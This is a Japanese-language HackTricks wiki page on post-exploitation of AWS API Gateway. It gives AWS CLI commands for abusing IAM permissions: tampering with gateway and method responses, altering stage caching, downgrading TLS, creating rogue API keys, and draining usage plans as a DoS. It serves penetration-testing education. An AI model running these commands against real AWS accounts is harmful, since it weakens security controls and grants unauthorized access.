AWS - API Gateway Post Exploitation

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

API Gateway

詳細については、以下をチェックしてください:

pageAWS - API Gateway Enum

公開されていないAPIへのアクセス

https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpointでサービスcom.amazonaws.us-east-1.execute-apiを使用してエンドポイントを作成し、アクセス可能なネットワーク(おそらくEC2マシン経由)でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。 その後、EC2マシンからエンドポイントにアクセスし、それによって以前に公開されていなかったゲートウェイAPIを呼び出すことができます。

使用プランのDoS攻撃

列挙セクションで、キーの使用プランを取得する方法を確認できます。キーがあり、月間X回の使用制限されている場合、それを使用してDoS攻撃を引き起こすことができます。

APIキーは、x-api-keyというHTTPヘッダ内に含まれている必要があります。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

apigateway:UpdateGatewayResponseおよびapigateway:CreateDeployment権限を持つ攻撃者は、既存のゲートウェイレスポンスを変更して、機密情報を漏洩させたり、悪意のあるスクリプトを実行したりするカスタムヘッダやレスポンステンプレートを含めることができます。

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。

テストが必要

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStageおよびapigateway:CreateDeploymentの権限を持つ攻撃者は、既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータに不正アクセスすることができます。

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。

テストが必要

apigateway:PutMethodResponse, apigateway:CreateDeployment

apigateway:PutMethodResponseおよびapigateway:CreateDeploymentの権限を持つ攻撃者は、既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、カスタムヘッダーまたはレスポンステンプレートを追加し、機密情報を漏洩させたり、悪意のあるスクリプトを実行する可能性があります

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。

テストが必要

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApiおよびapigateway:CreateDeploymentの権限を持つ攻撃者は、API Gateway REST APIの設定を変更してログの無効化や最小TLSバージョンの変更を行うことができ、APIのセキュリティを弱める可能性がある

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: APIのセキュリティを弱体化させ、不正アクセスを許可したり機密情報を公開したりする可能性があります。

テストが必要

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

apigateway:CreateApiKeyapigateway:UpdateApiKeyapigateway:CreateUsagePlanapigateway:CreateUsagePlanKey の権限を持つ攻撃者は、新しいAPIキーを作成し、それらを使用計画に関連付け、これらのキーを使用してAPIへの不正アクセスを行うことができます。

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在的影響: API リソースへの不正アクセス、セキュリティコントロールのバイパス。

テストが必要

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

最終更新